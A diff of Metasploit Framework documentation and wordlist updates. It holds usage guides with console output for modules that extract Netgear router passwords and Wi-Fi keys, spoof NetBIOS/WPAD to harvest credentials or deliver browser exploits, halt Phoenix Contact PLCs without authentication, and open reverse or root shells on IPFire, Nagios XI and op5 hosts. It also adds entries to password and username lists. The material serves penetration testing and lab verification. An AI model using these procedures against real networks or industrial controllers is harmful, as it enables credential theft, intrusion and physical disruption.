%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%% http://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
|
||||
@@ -23,4 +23,4 @@
|
||||
; ,''-,;' ``-
|
||||
``-..__``--`
|
||||
|
||||
http://metasploit.pro%clr
|
||||
http://metasploit.com%clr
|
||||
|
||||
@@ -1004,3 +1004,4 @@ raspberry
|
||||
74k&^*nh#$
|
||||
arcsight
|
||||
MargaretThatcheris110%SEXY
|
||||
karaf
|
||||
|
||||
@@ -40,6 +40,7 @@ hplip
|
||||
informix
|
||||
install
|
||||
irc
|
||||
karaf
|
||||
kernoops
|
||||
libuuid
|
||||
list
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The following list is a non-exhaustive list of vulnerable Netgear devices:
|
||||
1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372)
|
||||
2. WNDR3300 - V1.0.45 (current, confirmed vuln)
|
||||
3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln)
|
||||
4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln)
|
||||
5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355)
|
||||
6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln)
|
||||
7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037)
|
||||
8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln)
|
||||
9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024)
|
||||
10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036)
|
||||
11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/admin/http/netgear_soap_password_extractor```
|
||||
3. Do: ```set rhost <ip>```
|
||||
4. Do: ```run```
|
||||
5. You should get admin info on the device
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against wnr2000v3 with firmware 1.1.2.10:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/http/netgear_soap_password_extractor
|
||||
msf auxiliary(netgear_soap_password_extractor) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf auxiliary(netgear_soap_password_extractor) > run
|
||||
|
||||
[*] Trying to access the configuration of the device
|
||||
[*] Extracting Firmware version...
|
||||
[+] Model wnr2000v3 found
|
||||
[+] Firmware version V1.1.2.10 found
|
||||
[+] Device details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_dev_000157.txt
|
||||
[*] Extracting credentials...
|
||||
[*] Credentials found, extracting...
|
||||
[+] admin / password credentials found
|
||||
[+] Account details downloaded to: /root/.msf4/loot/20160706212637_default_192.168.1.1_netgear_soap_acc_387111.txt
|
||||
[*] Extracting Wifi...
|
||||
[+] Wifi SSID: NETGEAR44
|
||||
[+] Wifi Encryption: WPA2-PSK
|
||||
[*] Extracting WPA Keys...
|
||||
[+] Wifi Password: netgearpassword22
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,122 @@
|
||||
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the
|
||||
target to cache a malicious address for this name. By default, the module will attempt to poison
|
||||
WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal
|
||||
sensitive information, or obtain arbitrary code execution.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Windows is the most ideal target because it supports WPAD by default.
|
||||
|
||||
## Options
|
||||
|
||||
**NBADDR**
|
||||
|
||||
The address that the NetBIOS name (NBNAME) should resolve to.
|
||||
|
||||
**NBNAME**
|
||||
|
||||
The NetBIOS name to spoof a reply for.
|
||||
|
||||
**PPSRATE**
|
||||
|
||||
The rate at which to send NetBIOS replies.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Credential Collection Attack Using Targeted NetBIOS Spoofing:**
|
||||
|
||||
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
|
||||
|
||||
Step 1: Start the first Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/capture/http_basic```
|
||||
3. ```set REALM google.com```
|
||||
4. ```set URIPATH /```
|
||||
5. ```run```
|
||||
|
||||
Step 2: Start the second Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/admin/netbios/netbios_spoof```
|
||||
3. ```set NBADDR [IP to fake HTTP auth server]```
|
||||
4. ```set PPSRATE 30000```
|
||||
5. ```set RHOST [Target Host]```
|
||||
6. ```run```
|
||||
|
||||
Step 3: On the victim machine:
|
||||
|
||||
1. Make sure IE automatically detects settings (under LAN settings)
|
||||
2. Start IE, as soon as it opens, IE should try to authenticate.
|
||||
|
||||
If the spoofed name has already been cached, you can do this to flush. And then next time IE will
|
||||
be asked for credentials again.
|
||||
|
||||
```
|
||||
ipconfig /flushdns
|
||||
```
|
||||
|
||||
**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:**
|
||||
|
||||
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
|
||||
|
||||
Step 1: Start the first Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/browser_autopwn2```
|
||||
3. ```set SRVPORT 8181```
|
||||
4. ```run```
|
||||
|
||||
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
|
||||
|
||||
Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file:
|
||||
|
||||
First, uncomment these settings if they are found in the file:
|
||||
|
||||
* http_access deny all
|
||||
* http_access deny !Safe_ports
|
||||
* http_access deny CONNECT !SSL_ports
|
||||
* http_access deny to_localhost
|
||||
* http_access deny all
|
||||
* always_direct deny all
|
||||
|
||||
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn
|
||||
URL field:
|
||||
|
||||
```
|
||||
acl MyNetwork src 192.168.1.0/24
|
||||
acl BLKSite dstdomain .google.com
|
||||
deny_info [BrowserAutoPwn URL] all
|
||||
http_reply_access deny BLKSite all
|
||||
http_access allow MyNetwork
|
||||
```
|
||||
|
||||
Step 3: Start the second Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/server/wpad```
|
||||
3. ```set PROXY [Proxy IP]```
|
||||
4. ```set PROXYPORT 8080```
|
||||
5. ```run```
|
||||
|
||||
Step 4: Start the third Metasploit instance:
|
||||
|
||||
1. ```rvmsudo ./msfconsole -q```
|
||||
2. ```use auxiliary/admin/netbios/netbios_spoof```
|
||||
3. ```set NBADDR [IP to fake HTTP server]```
|
||||
4. ```set PPSRATE 30000```
|
||||
5. ```set RHOST [Target Host]```
|
||||
6. ```run```
|
||||
|
||||
Step 5: On the victim machine:
|
||||
|
||||
1. Make sure IE automatically detects settings (under LAN settings)
|
||||
2. Start IE
|
||||
3. Go to google.com, IE should end up loading the exploit server.
|
||||
|
||||
If the spoofed name has already been cached, you can do this to flush.
|
||||
|
||||
```
|
||||
ipconfig /flushdns
|
||||
```
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
PhoenixContact Programmable Logic Controllers are built are using a variant of
|
||||
ProConOS. The communicate using a proprietary protocol over ports TCP/1962 and
|
||||
TCP/41100 or TCP/20547. This protocol allows a user to remotely determine the
|
||||
PLC type, firmware and build number on port TCP/1962. A user can also
|
||||
determine the CPU State (Running or Stopped) and start or stop the CPU.
|
||||
|
||||
This functionality is confirmed for the PLC series ILC 15x and 17x on TCP port
|
||||
20547, and for the ILC 39x series on TCP port 41100. Other series may or
|
||||
may not work, but there is a good chance that they will
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This is a hardware zero-day vulnerability that CANNOT be patched. Possible
|
||||
mitigations include: pulling the plug (literally), using network isolation
|
||||
(Firewall, Router, IDS, IPS, network segmentation, etc...) or not allowing bad
|
||||
people on your network.
|
||||
|
||||
Most, if not all, PLC's (computers that control engines, robots, conveyor
|
||||
belts, sensors, camera's, doorlocks, CRACs ...) have vulnerabilities where,
|
||||
using their own tools, remote configuration and programming can be done
|
||||
*WITHOUT* authentication. Investigators and underground hackers are just now
|
||||
creating simple tools to convert the, often proprietary, protocols into simple
|
||||
scripts. The operating word here is proprietary. Right now, the only thing
|
||||
stopping very bad stuff from happening. PhoenixContact uses an (unnamed?)
|
||||
low-level protocol for connection, information exchange and configuration of
|
||||
its PLC devices. This script utilizes that protocol for finding information
|
||||
and switching the PLC mode from STOP to RUN and vice-versa.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
The following demonstrates a basic scenario, we "found" two devices with an open port TCP/1962:
|
||||
|
||||
```
|
||||
msf > search phoenix
|
||||
msf > use auxiliary/admin/scada/phoenix_command
|
||||
msf auxiliary(phoenix_command) > set RHOST 10.66.56.12
|
||||
RHOST => 10.66.56.12
|
||||
msf auxiliary(phoenix_command) > run
|
||||
|
||||
[*] 10.66.56.12:0 - PLC Type = ILC 150 GSM/GPRS
|
||||
[*] 10.66.56.12:0 - Firmware = 3.71
|
||||
[*] 10.66.56.12:0 - Build = 07/13/11 12:00:00
|
||||
[*] 10.66.56.12:0 - ------------------------------------
|
||||
[*] 10.66.56.12:0 - --> Detected 15x/17x series, getting current CPU state:
|
||||
[*] 10.66.56.12:0 - CPU Mode = RUN
|
||||
[*] 10.66.56.12:0 - ------------------------------------
|
||||
[*] 10.66.56.12:0 - --> No action specified (NOOP), stopping here
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf auxiliary(phoenix_command) > set RHOST 10.66.56.72
|
||||
RHOST => 10.66.56.72
|
||||
msf auxiliary(phoenix_command) > set ACTION REV
|
||||
ACTION => REV
|
||||
msf auxiliary(phoenix_command) > run
|
||||
[*] 10.66.56.72:0 - PLC Type = ILC 390 PN 2TX-IB
|
||||
[*] 10.66.56.72:0 - Firmware = 3.95
|
||||
[*] 10.66.56.72:0 - Build = 02/14/11 14:04:47
|
||||
[*] 10.66.56.72:0 - ------------------------------------
|
||||
[*] 10.66.56.72:0 - --> Detected 39x series, getting current CPU state:
|
||||
[*] 10.66.56.72:0 - CPU Mode = RUN
|
||||
[*] 10.66.56.72:0 - ------------------------------------
|
||||
[*] 10.66.56.72:0 - --> Sending STOP now
|
||||
[*] 10.66.56.72:0 - CPU Mode = STOP
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Module Options
|
||||
```
|
||||
msf auxiliary(phoenix_command) > show options
|
||||
|
||||
Module options (auxiliary/admin/scada/phoenix_command):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACTION NOOP yes PLC CPU action, REV means reverse state (Accepted: STOP, START, REV, NOOP)
|
||||
RHOST yes The target address
|
||||
RINFOPORT 1962 yes Set info port
|
||||
RPORT no Set action port, will try autodetect when not set
|
||||
```
|
||||
|
||||
By default, the module only reads out the PLC Type, Firmware version, Build
|
||||
date and current CPU mode (RUNing or STOPed)
|
||||
|
||||
The first three pieces of data (Type, Firmware & Build) are always found on
|
||||
port TCP/1962 (there is no way of changing that port on the PLC, so also no
|
||||
reason to change the 'RINFOPORT' option)
|
||||
|
||||
The CPU mode uses a TCP port depending on the PLC Type, the module will
|
||||
automatically detect the type and port to use, but can be overridden with the
|
||||
'RPORT' option, however no real reason to configure it. If you accidentally set RPORT, you can unset it with the ```unset RPORT``` command.
|
||||
|
||||
**The ACTION option**
|
||||
|
||||
Action has four possible values:
|
||||
|
||||
By default, the module will do nothing to the PLC, therefore No Operation or 'NOOP':
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION NOOP
|
||||
```
|
||||
|
||||
The PLC can be forced to go into STOP mode, meaning it stops all execution and all outputs are set to low:
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION STOP
|
||||
```
|
||||
|
||||
The PLC can be forced to go into RUN mode, where it keeps running it was or it will start executing its current boot programming:
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION START
|
||||
```
|
||||
|
||||
The module can also just read out the CPU mode and then reverse whatever it finds, RUN becomes STOP, STOP becomes RUN:
|
||||
|
||||
```
|
||||
msf auxiliary(phoenix_command) > set ACTION REV
|
||||
```
|
||||
@@ -0,0 +1,40 @@
|
||||
Symantec Messaging Gateway is an all-in-one appliance to secure email with real-time antispam,
|
||||
antimalware, targeted attacks, content filtering, data loss, and email encryption.
|
||||
|
||||
The management console of SMG can be used to recover the AD password by any user with at least
|
||||
read access to the appliance, which could potentially permit leveraging unauthorized, elevated
|
||||
access to other resources of the network.
|
||||
|
||||
Authentication is required to use symantec_brightmail_ldapcreds. However, it is possible to see
|
||||
SMG with using the default username **admin** and **symantec**.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Symantec Messaging Gateway 10.6.0 and earlier are known to be vulnerable.
|
||||
|
||||
symantec_brightmail_ldapcreds was specifically tested against 10.6.0 during development.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
These verification steps assume you already have access to the vulnerable version of
|
||||
[Symantec Messaging Gateway](https://www.symantec.com/products/threat-protection/messaging-gateway).
|
||||
During the development of symantec_brightmail_ldapcreds, Symantec was still providing 10.6.0 as a trial.
|
||||
|
||||
**Installation**
|
||||
|
||||
The 10.6.0 installation guide can be found [here](https://symwisedownload.symantec.com//resources/sites/SYMWISE/content/live/DOCUMENTATION/9000/DOC9108/en_US/smg_10.6_installation_guide.pdf?__gda__=1465490103_20360f5503fd3ef6ce426bd541fd2109)
|
||||
|
||||
Make sure you remember your username and password for Symantec Messaging Gateway before using
|
||||
the module.
|
||||
|
||||
**Using the Module**
|
||||
|
||||
Once you have the vulnerable setup ready, go ahead and do this:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/scanner/http/symantec_brightmail_ldapcreds```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```set USERNAME [USERNAME FOR SMG]```
|
||||
5. Do: ```set PASSWORD [PASSWORD FOR SMG]```
|
||||
6. Do: ```run```
|
||||
@@ -0,0 +1,29 @@
|
||||
Jenkins is an open source tool that provides continuous integration services for software
|
||||
development. This module will attempt to find Jenkins servers by performing a UDP
|
||||
broadcast.
|
||||
|
||||
To use this module, you should be on the same network as the Jenkins server(s).
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To test this module, you must make sure there is at least one Jenkins server on the same network.
|
||||
To download Jenkins, please follow this link:
|
||||
|
||||
[https://jenkins.io/](https://jenkins.io/)
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
Unlike most Metasploit modules, jenkins_udp_broadcast_enum does not have any datastore options
|
||||
to configure. So all you have to do is load it, and run, like this:
|
||||
|
||||
```
|
||||
msf auxiliary(jenkins_udp_broadcast_enum) > run
|
||||
|
||||
[*] Sending Jenkins UDP Broadcast Probe ...
|
||||
[*] 192.168.1.96 - Found Jenkins Server 1.638 Version
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Once you have found the Jenkins server, you should be able to browse to the web server.
|
||||
And by default, that port is 8080.
|
||||
@@ -0,0 +1,91 @@
|
||||
ClamAV is an open source antivirus engine for detecting trojans, viruses, malare, and other
|
||||
malicious threats.
|
||||
|
||||
clamav_control takes advantage of a possible misconfiguration in the ClamAV service on release
|
||||
0.99.2 if the service is tied to a socket, and allows you fingerprint the version, and being
|
||||
able to shut down the service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
To install ClamAV from Ubuntu:
|
||||
|
||||
```
|
||||
$ sudo apt-get install clamav clamav-daemon
|
||||
$ sudo freshclam
|
||||
```
|
||||
|
||||
You might also need to add the following to /etc/clamav/clamd.conf:
|
||||
|
||||
```
|
||||
# TCP port address.
|
||||
# Default: no
|
||||
TCPSocket 3310
|
||||
|
||||
# TCP address.
|
||||
# By default we bind to INADDR_ANY, probably not wise.
|
||||
# Enable the following to provide some degree of protection
|
||||
# from the outside world.
|
||||
# Default: no
|
||||
TCPAddr 0.0.0.0
|
||||
|
||||
# Maximum length the queue of pending connections may grow to.
|
||||
# Default: 15
|
||||
MaxConnectionQueueLength 30
|
||||
|
||||
# Clamd uses FTP-like protocol to receive data from remote clients.
|
||||
# If you are using clamav-milter to balance load between remote clamd daemons
|
||||
# on firewall servers you may need to tune the options below.
|
||||
|
||||
# Close the connection when the data size limit is exceeded.
|
||||
# The value should match your MTA's limit for a maximum attachment size.
|
||||
# Default: 10M
|
||||
StreamMaxLength 55M
|
||||
|
||||
# Limit port range.
|
||||
# Default: 1024
|
||||
#StreamMinPort 30000
|
||||
# Default: 2048
|
||||
#StreamMaxPort 32000
|
||||
|
||||
# Maximum number of threads running at the same time.
|
||||
# Default: 10
|
||||
MaxThreads 50
|
||||
|
||||
# Waiting for data from a client socket will timeout after this time (seconds).
|
||||
# Value of 0 disables the timeout.
|
||||
# Default: 120
|
||||
ReadTimeout 300
|
||||
|
||||
# Waiting for a new job will timeout after this time (seconds).
|
||||
# Default: 30
|
||||
#IdleTimeout 60
|
||||
|
||||
# Maximum depth directories are scanned at.
|
||||
# Default: 15
|
||||
#MaxDirectoryRecursion 20
|
||||
```
|
||||
|
||||
And finally, start the service:
|
||||
|
||||
```
|
||||
$ sudo /etc/init.d/clamav-daemon start
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
clamav_control comes with two actions:
|
||||
|
||||
**VERSION**
|
||||
|
||||
This is the default action, and shows you the ClamAV version. Output example:
|
||||
|
||||
```
|
||||
msf auxiliary(clamav_control) > run
|
||||
|
||||
[+] 192.168.1.203:3310 - ClamAV 0.98.7/21772/Wed Jun 22 12:54:15 2016
|
||||
```
|
||||
|
||||
**SHUTDOWN**
|
||||
|
||||
This action allows you to shutdown ClamAV. You can also use the VERSION action again to verify
|
||||
whether is service is down or not.
|
||||
@@ -0,0 +1,42 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.15-core82/ipfire-2.15.i586-full-core82.iso)
|
||||
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the firewall
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/ipfire_bashbug_exec```
|
||||
4. Do: ```set rhost 10.10.10.10```
|
||||
5. Do: ```set PASSWORD admin```
|
||||
6. Do: ```set CMD ls```
|
||||
7. Do: ```run```
|
||||
8. You should see the output of the command that was run.
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at install. May be blank, 'admin', or 'ipfire'.
|
||||
|
||||
**CMD**
|
||||
|
||||
This is the command to run on the system.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example of running the ID command
|
||||
```
|
||||
msf > use exploit/linux/http/ipfire_bashbug_exec
|
||||
msf exploit(ipfire_bashbug_exec) > set PASSWORD admin
|
||||
PASSWORD => admin
|
||||
msf exploit(ipfire_bashbug_exec) > set rhost 192.168.2.202
|
||||
rhost => 192.168.2.202
|
||||
msf exploit(ipfire_bashbug_exec) > set CMD id
|
||||
CMD => id
|
||||
msf exploit(ipfire_bashbug_exec) > exploit
|
||||
|
||||
[+] uid=99(nobody) gid=99(nobody) groups=16(dialout),23(squid),99(nobody)
|
||||
[*] Exploit completed, but no session was created.
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core100/ipfire-2.19.x86_64-full-core100.iso)
|
||||
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the firewall
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/ipfire_proxy_exec```
|
||||
4. Do: ```set password admin``` or whatever it was set to at install
|
||||
5. Do: ```set rhost 10.10.10.10```
|
||||
6. Do: ```set payload cmd/unix/reverse_perl```
|
||||
7. Do: ```set lhost 192.168.2.229```
|
||||
8. Do: ```exploit```
|
||||
9. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is set at install. May be blank, 'admin', or 'ipfire'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/ipfire_proxy_exec
|
||||
msf exploit(ipfire_proxy_rce) > set password admin
|
||||
password => admin
|
||||
msf exploit(ipfire_proxy_rce) > set rhost 192.168.2.201
|
||||
rhost => 192.168.2.201
|
||||
msf exploit(ipfire_proxy_rce) > set payload cmd/unix/reverse_perl
|
||||
payload => cmd/unix/reverse_perl
|
||||
msf exploit(ipfire_proxy_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(ipfire_proxy_rce) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(ipfire_proxy_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.201:49997) at 2016-05-30 10:09:39 -0400
|
||||
|
||||
id
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
|
||||
whoami
|
||||
nobody
|
||||
```
|
||||
@@ -0,0 +1,73 @@
|
||||
## Intro
|
||||
|
||||
Nagios XI is the enterprise version of Nagios, the monitoring software we love
|
||||
and hate.
|
||||
|
||||
> This module exploits an SQL injection, auth bypass, file upload, command
|
||||
injection, and privilege escalation in Nagios XI <= 5.2.7 to pop a root shell.
|
||||
|
||||
## Setup
|
||||
|
||||
**Download the virtual appliance:**
|
||||
|
||||
I used the 64-bit OVA [here]. Remove the "-64" in the link to download the
|
||||
32-bit OVA.
|
||||
|
||||
[here]: https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.2.7-64.ova
|
||||
|
||||
**Import the OVA:**
|
||||
|
||||
Just import it into VMware or VirtualBox. It should create a VM for you.
|
||||
|
||||
**Configure the software:**
|
||||
|
||||
When you start the VM, you will see ```Access Nagios XI at http://[redacted]```
|
||||
on the login screen. Connect to the URL using your web browser and follow the
|
||||
steps on the screen to configure the app.
|
||||
|
||||
Configuration is actually not required to exploit the app, but you should do it
|
||||
anyway.
|
||||
|
||||
## Usage
|
||||
|
||||
Just set ```RHOST``` and fire off the module! It's pretty much painless.
|
||||
```set VERBOSE true``` if you want to see details.
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/nagios_xi_chained_rce
|
||||
msf exploit(nagios_xi_chained_rce) > set rhost [redacted]
|
||||
rhost => [redacted]
|
||||
msf exploit(nagios_xi_chained_rce) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(nagios_xi_chained_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on [redacted]:4444
|
||||
[*] Nagios XI version: 5.2.7
|
||||
[*] Getting API token
|
||||
[+] API token: 3o2erpm0
|
||||
[*] Getting admin cookie
|
||||
[+] Admin cookie: nagiosxi=jcilcfptj7ogpvovgs3i5gilh7;
|
||||
[+] CSRF token: 477abd7db8d06ade9c7fcd9e405fd911
|
||||
[*] Getting monitored host
|
||||
[+] Monitored host: localhost
|
||||
[*] Downloading component
|
||||
[*] Uploading root shell
|
||||
[*] Popping shell!
|
||||
[*] Command shell session 1 opened ([redacted]:4444 -> [redacted]:60132) at 2016-07-01 00:12:20 -0500
|
||||
[*] Cleaning up...
|
||||
[*] rm -rf ../profile
|
||||
[*] unzip -qd .. ../../../../tmp/component-profile.zip
|
||||
[*] chown -R nagios:nagios ../profile
|
||||
[*] rm -f ../../../../tmp/component-xAmhUGRn.zip
|
||||
|
||||
3904334783
|
||||
TwMSxKhKEaxUjlTSNYyeICVUuPSNkwoI
|
||||
cKKdfdZxRpDduZCezKXOficrVyNeVggH
|
||||
mRVdstQmfdtnFiYMjLgyfvRWXyQZPyUF
|
||||
dDlRoqhBvqvwrhKYWumimyKxVHSbrkoE
|
||||
wjCWBTgbsQuPemhiByeMpMEhdPooHEvw
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
||||
uname -a
|
||||
Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
@@ -0,0 +1,63 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Official Source: [op5.com](https://www.op5.com/blog/wpfb-file/op5-monitor-7-1-9-20160303-tar-gz/)
|
||||
Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
Just a few quick notes on setting up a vulnerable lab with this software.
|
||||
|
||||
1. The vulnerable version only installs on CentOS 6.x (author used 6.0 final)
|
||||
2. Within `php.ini`, `date.timezone = "America/New York"` to `date.timezone = "America/New_York"` if you get php errors
|
||||
3. You may need to register for a free license via an email challenge/verification
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the software, RHEL/CENTOS required (tested on CentOS 6)
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/linux/http/op5_config_exec```
|
||||
4. Do: ```set payload linux/x86/shell/reverse_tcp```
|
||||
5. Do: ```set rhost 192.168.2.31```
|
||||
6. Do: ```set lhost 192.168.2.229```
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password is 'monitor' by default.
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Documentation was unclear on this. Installing just the app, the
|
||||
username was 'monitor' by default. However it looks like if you
|
||||
install the appliance it may be 'root'
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/op5_config_exec
|
||||
msf exploit(op5_config_exec) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(op5_config_exec) > set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
msf exploit(op5_config_exec) > set rhost 192.168.2.31
|
||||
rhost => 192.168.2.31
|
||||
msf exploit(op5_config_exec) > set lhost 192.168.2.229
|
||||
lhost => 192.168.2.229
|
||||
msf exploit(op5_config_exec) > check
|
||||
|
||||
[+] Version Detected: 7.1.9
|
||||
[+] The target is vulnerable.
|
||||
msf exploit(op5_config_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.229:4444
|
||||
[*] Sending stage (36 bytes) to 192.168.2.31
|
||||
[*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.31:52552) at 2016-06-01 14:38:41 -0400
|
||||
[*] Command Stager progress - 100.00% done (832/832 bytes)
|
||||
whoami
|
||||
monitor
|
||||
id
|
||||
uid=299(monitor) gid=48(apache) groups=48(apache),14(uucp),488(smstools) context=system_u:system_r:initrc_t:s0
|
||||
```
|
||||
@@ -0,0 +1,103 @@
|
||||
## Vulnerable Application
|
||||
|
||||
* Official Source: [sourceforge](https://sourceforge.net/projects/tikiwiki/files/Tiki_14.x_Peony/14.1/)
|
||||
* Exploit-db: [edb](https://www.exploit-db.com/apps/2fa84367ba4f14afab9f51cd3e93606d-tiki-14.2.7z)
|
||||
* Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts)
|
||||
|
||||
**Of note, there is some discussion if 14.2 is vuln or not.**
|
||||
|
||||
1. Exploit-DB says in the title (may be wrong) 14.2 is vuln.
|
||||
2. The linked app Exploit-DB has is 14.2.
|
||||
3. Its verified on Exploit-DB.
|
||||
|
||||
vs
|
||||
|
||||
1. Manual print statement testing from the PoC on 14.2 doesn't seem to be vuln
|
||||
2. The [notice](https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki) seems to say 14.2 is the update that fixes the problem
|
||||
|
||||
### Creating A Testing Environment
|
||||
|
||||
1. Create a fresh Ubuntu 16.04 w/ a LAMP install
|
||||
2. `apt-get install php-xml`
|
||||
3. Normal php install at that point!
|
||||
4. After install, login as admin:admin
|
||||
5. Go to the Control Panels
|
||||
6. Click Features
|
||||
7. Enable Calendar under Main feature
|
||||
8. Click Apply
|
||||
|
||||
#### Permissions
|
||||
|
||||
If you wish to enable the non-logged in user (anonymous) to view/exploit the calendar:
|
||||
|
||||
1. Log in as admin
|
||||
2. From the top dropdown select permissions
|
||||
3. Check Anonymous near the top
|
||||
4. Click Assign
|
||||
